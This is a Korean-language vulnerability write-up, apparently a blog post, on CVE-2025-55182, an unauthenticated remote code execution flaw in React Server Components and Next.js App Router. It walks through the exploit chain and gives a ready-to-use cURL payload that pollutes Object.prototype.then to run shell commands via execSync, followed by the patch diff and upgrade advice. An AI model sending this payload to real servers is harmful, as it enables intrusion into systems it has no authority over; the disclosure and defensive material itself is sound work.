CVE-2025-55182 · React2Shell: 프로토타입 오염을 통한 React Server Components의 RCE
Source: Dev.to
TL;DR
React의 Flight 디시리얼라이저는 실제 타입에 관계없이 .then 메서드를 가진 모든 객체를 Promise로 평가합니다. 공격자는 조작된 POST multipart 요청을 통해 Object.prototype.then을 오염시켜, Function 생성자를 이용해 서버가 임의의 JavaScript를 실행하도록 강제할 수 있습니다. 결과는 HTTP 헤더 X-Action-Redirect를 통해 유출됩니다.
- 인증 없음.
- 결정적.
- CVSS v3.1: 10.0 (Critical).
취약점 설명
**React Server Components (RSC)**는 React 19와 함께 Server Actions와 함께 안정화되었습니다. 이 모델에서는 UI 컴포넌트가 서버에서 실행되고 Flight 프로토콜을 통해 통신합니다. 클라이언트가 Server Action을 호출하면 POST multipart 요청에 직렬화된 페이로드를 전송하고, 서버는 이를 역직렬화한 뒤 액션을 실행하고 결과를 스트리밍으로 반환합니다.
Flight 프로토콜은 JSON이 아니라 타입이 지정된 chunks를 사용하는 스트리밍 포맷입니다. 그 핵심 메커니즘은 다음과 같습니다:
if (obj && typeof obj.then === 'function') {
// Promise로 취급
}
이 가정 때문에 .then 메서드를 가진 어떤 객체라도 Promise로 처리됩니다. 공격자가 Object.prototype.then을 정의하면 런타임의 모든 평범한 객체가 이를 상속받게 되고, 역직렬화 로직은 실제 Promise와 오염된 객체를 구분하지 못합니다. 이 경우 런타임은 공격자가 제어하는 내용에 대해 new Function(_prefix)를 실행하게 됩니다.
영향
⚠️ Next.js 14부터 기본 설정으로 App Router와 React Server Components를 사용하는 모든 Next.js 애플리케이션이 영향을 받습니다. 개발자가 Server Actions를 명시적으로 정의했는지 여부와 관계없이, 취약한 RSC 패키지가 존재하기만 하면 충분합니다.
취약한 버전
- React 19.0.0 – 19.2.0 (19.0.0, 19.1.0, 19.1.1, 19.2.0 포함)
- RSC를 사용하는 App Router가 포함된 Next.js 프로젝트에 영향을 줍니다.
악용 체인
- 정찰 – React 19.x를 실행하고 App Router를 사용하는 Next.js 애플리케이션을 식별합니다.
Next-Action헤더와 함께multipart/form-data를 처리하는 모든 엔드포인트는 유효한 목표가 됩니다. - 페이로드 구성 –
__proto__:then을 이용해Object.prototype을 오염시키는 multipart 본문을 보냅니다._formData.get필드는$1:constructor:constructor로 리다이렉트되고_prefix는 실행할 JavaScript 코드를 전달합니다. - 전송 –
Next-Action: x헤더와 함께 루트에 단일POST요청을 보냅니다. WAF는 일반적인 multipart 요청으로 인식하고 검사를 우회합니다. - 서버에서 평가 – Flight 디시리얼라이저가 오염된 프로토타입에서 상속된
.then속성을 가진 객체를 발견하고new Function(_prefix)를 호출해 공격자의 코드를 실행합니다. - 데이터 추출 –
execSync()결과가NEXT_REDIRECT오류의 다이제스트에 삽입됩니다. Next.js는 이를307응답과X-Action-Redirect: /login?a=헤더로 변환합니다. 공격자는 파라미터를 디코딩해 출력값을 얻습니다.
최소 페이로드 예시 (cURL)
curl -X POST https://victim.com/ \
-F '__proto__:then=()=>({then:()=>({})})' \
-F '_formData.get=$1:constructor:constructor' \
-F '_prefix=return require("child_process").execSync("id").toString()' \
-H 'Next-Action: x'
일반적인 결과
whoami,id,uname -a가 취약한 Node.js 서버에서 실행됩니다.- 파일 업로드, 쉘 인젝션 또는 인증이 필요하지 않습니다.
취약한 코드 (패치 전)
// VULNERABLE — React 19.0.0 / 19.1.0 / 19.1.1 / 19.2.0
if (obj && typeof obj.then === 'function') {
// comprobación conductual — bypasseable vía cadena de prototipos
}
패치
hasOwnProperty를 사용한 가드를 추가하여 프로토타입 체인의 탐색을 차단합니다:
- resolvedValue = resolvedValue[key];
+ if (!resolvedValue.hasOwnProperty(key)) break;
+ resolvedValue = resolvedValue[key];
패치 검증
node -e "const r = require('react'); const [maj,min,pat] = r.version.split('.').map(Number);
console.log('React:', r.version, (maj===19 && (min<2||(min===2&&pat<1))) ? '❌ VULNERABLE' : '✓ Parcheado')"
패치 후 권고
초기 패치된 버전(19.0.1, 19.1.2, 19.2.1)에서는 두 개의 파생 CVE가 도입되었습니다:
- CVE‑2025‑55184 – 서비스 거부(DoS), CVSS 7.5
- CVE‑2025‑55183 – 소스 코드 노출, CVSS 5.3
19.0.2, 19.1.3 또는 19.2.2로 업데이트하는 것이 권장됩니다.
성찰
동작 기반 신뢰(typeof obj.then === 'function')는 정체성 기반 신뢰보다 약합니다. 모든 thenable을 허용하는 유연성 때문에 prototype pollution이 원격 코드 실행을 위한 마스터 키가 되었습니다.
참고 문헌
- 전체 분석 → blog.deviannt.com
- CVE‑2025‑55182 – React2Shell
- — devianntsec, 보안 조사 및 기타